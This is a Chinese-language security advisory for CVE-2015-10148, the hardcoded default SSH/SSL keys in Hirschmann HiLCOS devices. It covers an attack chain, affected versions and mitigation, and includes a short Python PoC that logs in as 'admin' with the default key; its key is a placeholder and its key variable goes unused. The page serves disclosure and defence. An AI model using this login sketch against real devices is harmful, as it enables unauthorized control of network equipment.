IPBUF安全漏洞报告
English
CVE-2015-10148 CVSS 8.2 高危

CVE-2015-10148 Hirschmann HiLCOS硬编码密钥漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2015-10148
漏洞类型
硬编码凭证
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Hirschmann HiLCOS

相关标签

硬编码密钥默认凭证HirschmannHiLCOS中间人攻击IoT安全远程未授权访问

漏洞概述

Hirschmann HiLCOS系列设备(包括OpenBAT、WLC、BAT300及BAT54)的特定版本存在严重安全漏洞。由于设备出厂时预置了相同的默认SSH和SSL密钥,且用户无法更改,导致未经认证的远程攻击者可利用这些硬编码密钥解密管理通信。这使得攻击者能够拦截敏感数据、执行中间人攻击或冒充设备,严重破坏了网络通信的机密性与完整性。

技术细节

该漏洞的根源在于Hirschmann HiLCOS设备的固件中硬编码了默认的SSH私钥和SSL/TLS证书私钥。由于这些密钥在所有受影响型号的设备中是完全相同的,且厂商未提供在运行时更改这些密钥的机制,导致了“共享秘密”的安全隐患。攻击者可以通过设备固件提取或从已发布的安全公告中获取这些默认私钥。一旦拥有私钥,攻击者可以被动嗅探网络流量并解密HTTPS和SSH会话,获取管理员凭证或配置信息。此外,攻击者还可以主动利用这些密钥通过SSH协议直接登录设备,获取系统控制权,或者利用相同的SSL证书在客户端与设备之间进行中间人攻击,篡改配置数据或植入恶意指令。

攻击链分析

STEP 1
1. 信息收集
攻击者识别网络中的Hirschmann HiLCOS设备,确定其型号和IP地址。
STEP 2
2. 获取密钥
攻击者从公开的固件镜像、安全公告或VulnCheck等漏洞数据库中获取该设备型号默认的SSH私钥和SSL证书。
STEP 3
3. 解密或认证
攻击者利用获取到的私钥解密捕获的HTTPS/SSH流量以获取敏感信息,或者直接使用私钥通过SSH协议登录设备获取系统控制权。
STEP 4
4. 中间人攻击
攻击者利用默认SSL证书在客户端与设备之间建立中间人连接,拦截并篡改管理通信数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # Proof of Concept for CVE-2015-10148 # This script attempts to authenticate to a target device using the leaked default SSH key. import paramiko import socket # The leaked default private key content (truncated for example) DEFAULT_KEY = """-----BEGIN RSA PRIVATE KEY----- [... Leaked Key Content ...] -----END RSA PRIVATE KEY-----""" def exploit(target_ip, port=22): try: # Create a new SSH client client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Load the default private key pkey = paramiko.RSAKey.from_private_key_file("./default_hilcos_key") print(f"[*] Attempting to connect to {target_ip}:{port} using default key...") # Attempt to connect client.connect(target_ip, port=port, username='admin', pkey=pkey, timeout=10) print("[+] Connection successful! Vulnerability confirmed.") # Execute a command to verify access stdin, stdout, stderr = client.exec_command('cat /etc/version') print(f"[+] System Version: {stdout.read().decode().strip()}") client.close() except paramiko.AuthenticationException: print("[-] Authentication failed. Key might be invalid or device patched.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.1.1" # Replace with target IP exploit(target)

影响范围

Hirschmann HiLCOS OpenBAT < 9.10
Hirschmann HiLCOS WLC < 8.80
Hirschmann HiLCOS BAT300 < 8.80
Hirschmann HiLCOS BAT54 < 8.80

防御指南

临时缓解措施
由于该漏洞涉及固件层面的硬编码密钥且无法通过配置更改,唯一的彻底解决方案是升级固件。在升级前,强烈建议将设备部署在受信任的隔离网络环境中(如管理VLAN),并利用网络访问控制列表(ACL)禁止外部网络对设备管理端口的访问,以减少攻击面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表